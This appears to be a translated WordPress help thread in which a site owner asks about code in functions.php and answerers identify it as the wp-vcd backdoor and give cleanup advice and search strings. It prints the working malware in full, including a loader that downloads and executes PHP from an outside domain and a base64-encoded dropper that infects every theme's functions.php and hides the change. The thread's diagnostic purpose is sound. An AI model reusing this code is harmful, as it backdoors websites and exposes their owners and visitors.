Что означает этот код в functions.php моей темы? if (isset($_REQUEST['action']) && isset($_REQUEST['password'])

1 окт. 2017 г., 22:55:19
Просмотры: 27.2K
Голосов: 7

Этот код в вашем functions.php, который также появляется в дочерней теме и возвращается после удаления - это вредоносный код (малварь). Необходимо его удалить, так как он представляет угрозу безопасности.

// Вредоносный код, который проверяет параметры запроса
if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['password'] ) && ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) {
    $div_code_name = "wp_vcd";
    switch ( $_REQUEST['action'] ) {
        case 'change_domain';
            if ( isset( $_REQUEST['newdomain'] ) ) {

                if ( ! empty( $_REQUEST['newdomain'] ) ) {
                    // Пытается читать содержимое текущего файла
                    if ( $file = @file_get_contents( __FILE__ ) ) {
                        // Ищет определенный URL в коде
                        if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) {

                            // Заменяет домен на новый
                            $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file );
                            @file_put_contents( __FILE__, $file );
                            print "true";
                        }


                    }
                }
            }
            break;


        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

    die( "" );
}


// Вредоносная функция, которая загружает и выполняет внешний код
if ( ! function_exists( 'theme_temp_setup' ) ) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ];
    if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false && stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) {
        // Пытается загрузить вредоносный код с внешнего сервера
        if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) {
            function theme_temp_setup( $phpCode ) {
                // Создает временный файл и выполняет загруженный код
                $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" );
                $handle   = fopen( $tmpfname, "w+" );
                fwrite( $handle, "<?php\n" . $phpCode );
                fclose( $handle );
                include $tmpfname;
                unlink( $tmpfname );

                return get_defined_vars();
            }

            extract( theme_temp_setup( $tmpcontent ) );
        }
    }
}
3
Комментарии

Какую тему вы используете?

lukgoh lukgoh
1 окт. 2017 г. 23:18:24

Пожалуйста, укажите название темы. Возможно, ваш сайт взломан; или тема, которую вы используете, содержит бэкдор от авторов - сложно сказать точно. Один из способов проверить - посмотреть код темы, если бэкдор все еще там. В любом случае, вам следует удалить этот файл и проверить глубже, не заражены ли другие файлы (другими способами) тоже.

Sas3 Sas3
2 окт. 2017 г. 05:35:14

Привет, я использую тему Boss. Но этот код появляется в каждой теме, например, в теме twentyseventeen. Код теперь удален, так как я использовал Wordfence для сканирования и удалил его. Я думаю, проблема исходит от плагинов, которые я использую.

Topy Topy
2 окт. 2017 г. 09:41:50
Все ответы на вопрос 4
1

Ваш сайт был взломан. Это вредоносный код, который активируется извне, загружая дополнительный вредоносный контент с домена 'www.dolsh.cc'.

Если содержимое возвращается после удаления, значит, у вас есть взломанные файлы в других местах, которые автоматически перезаписывают файл functions.php при каждой загрузке страницы. Вам необходимо найти и очистить все заражённые файлы, и невозможно сказать, какие именно файлы заражены, без детального анализа сайта. Большинство подобных заражений распространяются в различные области, чтобы усложнить их удаление.

Вам следует создать резервную копию базы данных, а затем переустановить WordPress с нуля, включая все плагины, которые у вас есть и которые не заражены. Возможно, что какой-то плагин является источником заражения, или же сама тема. Если вы скачивали плагины или темы с нелегальных сайтов (предлагающих премиум-плагины бесплатно), это наиболее вероятный источник заражения.

1 окт. 2017 г. 23:03:40
Комментарии

Привет, спасибо за информацию. Я использовал Worldfense для сканирования и обнаружил проблемы. После того как я удалил файлы, я заметил, что этот код больше не возвращается. Нужно ли мне переустанавливать WordPress с нуля? Спасибо.

Topy Topy
2 окт. 2017 г. 10:10:00
2

Я использую Wordfence для сканирования файлов. И сканирование показывает следующие результаты:

  • файл functions.php в теме twentyseventeen также содержит такой же код, как указано выше.
  • В папке wp-includes находится подозрительный файл "wp-vcd.php". Этот файл содержит следующий код:

    <?php 
    error_reporting(0);
    ini_set('display_errors', 0);
    
    $install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZTRcLnBocC9pJywkZmlsZSwkbWF0Y2hvbGRkb21haW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBwcmVnX3JlcGxhY2UoJy8nLiRtYXRjaG9sZGRvbWFpblsxXVswXS4nL2knLCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10sICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoNCgkJCQkNCgkJCQkNCgkJCQlkZWZhdWx0OiBwcmludCAiRVJST1JfV1BfQUNUSU9OIFdQX1ZfQ0QgV1BfQ0QiOw0KCQkJfQ0KCQkJDQoJCWRpZSgiIik7DQoJfQ0KDQoJDQoNCg0KaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ3RoZW1lX3RlbXBfc2V0dXAnICkgKSB7ICANCiRwYXRoPSRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUltSRVFVRVNUX1VSSV07DQppZiAoIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsNCg0KaWYoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuZG9sc2guY2MvY29kZTQucGhwP2k9Ii4kcGF0aCkpDQp7DQoNCg0KZnVuY3Rpb24gdGhlbWVfdGVtcF9zZXR1cCgkcGhwQ29kZSkgew0KICAgICR0bXBmbmFtZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAidGhlbWVfdGVtcF9zZXR1cCIpOw0KICAgICRoYW5kbGUgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOw0KICAgIGZ3cml0ZSgkaGFuZGxlLCAiPD9waHBcbiIgLiAkcGhwQ29kZSk7DQogICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgIGluY2x1ZGUgJHRtcGZuYW1lOw0KICAgIHVubGluaygkdG1wZm5hbWUpOw0KICAgIHJldHVybiBnZXRfZGVmaW5lZF92YXJzKCk7DQp9DQoNCmV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOw0KfQ0KfQ0KfQ0KDQoNCg0KPz4=';
    
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    
    
            $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
    
            $ping = true;
                $ping2 = false;
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
    
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }
    
                                }
    
    
                                                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
                                                     foreach ($list2 as $_2)
                                                            {
    
    
                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                                      {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                    $ping2 = true;
                                                }
                                            else
                                                {
                                                    //$ping = false;
                                                }
                                        }
    
                                }
2 окт. 2017 г. 10:06:11
Комментарии

Никогда не скачивайте плагины или темы с сомнительных сайтов — в 99% случаев вы получите вредоносный код и взломанный сайт. Всегда загружайте их с WordPress.org или официального сайта автора плагина/темы.

Milan Petrovic Milan Petrovic
2 окт. 2017 г. 10:13:40

В папке wp-includes также удалил этот файл class.wp.php. Он выглядит почти так же, как class-wp.php. Но содержимое файла — это полностью вредоносный код.

Topy Topy
4 окт. 2017 г. 18:56:10
0

Предоставленный вами код указывает на наличие вредоносного ПО wp-vcd в вашем WordPress-сайте. Основными симптомами заражения wp-vcd являются всплывающие спам-окна и создание спам-URL на сайте.

Некоторые варианты вредоносного кода могут изменять основные файлы WordPress, а также добавлять новые файлы в директорию /wp-includes.

  • Вредоносное ПО создаёт бэкдор, который позволяет хакерам получать доступ к вашему сайту в течение длительного времени.
  • Злоумышленники могут использовать уязвимости в плагинах и темах WordPress для загрузки wp-vcd на уязвимые сайты.

В файле functions.php вашей темы вы можете обнаружить код, похожий на этот:

<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>

Очистка

Способ 1 – Поиск файлов на сервере, которые обычно заражены взломом wp-vcd

  1. wp-includes/wp-vcd.php
  2. wp-includes/wp-tmp.ph
  3. wp-content/themes/*/functions.php (все темы, установленные на сервере, активные или нет)
  4. class.theme-modules.php (внутри папки темы)

Способ 2 – Поиск строковых шаблонов, характерных для заражённых вредоносных файлов

  1. tmpcontentx
  2. function wp_temp_setupx
  3. wp-tmp.php
  4. derna.top/code.php
  5. stripos($tmpcontent, $wp_auth_key)

Для справки - https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/

17 июн. 2019 г. 11:02:41
1

Если вы скачали премиум-плагины бесплатно, пожалуйста, проверьте, содержат ли они оба этих файла - это файлы, вызывающие данную проблему.

class.plugin-modules.php class.theme-modules.php

Перед установкой этот файл имел размер 35 КБ, но после установки и активации темы/плагина его код распространяется во все папки wp-includes на вашем хостинге. Таким образом, он продолжает существовать скрыто в wp-includes других сайтов.

22 июл. 2018 г. 08:24:16
Комментарии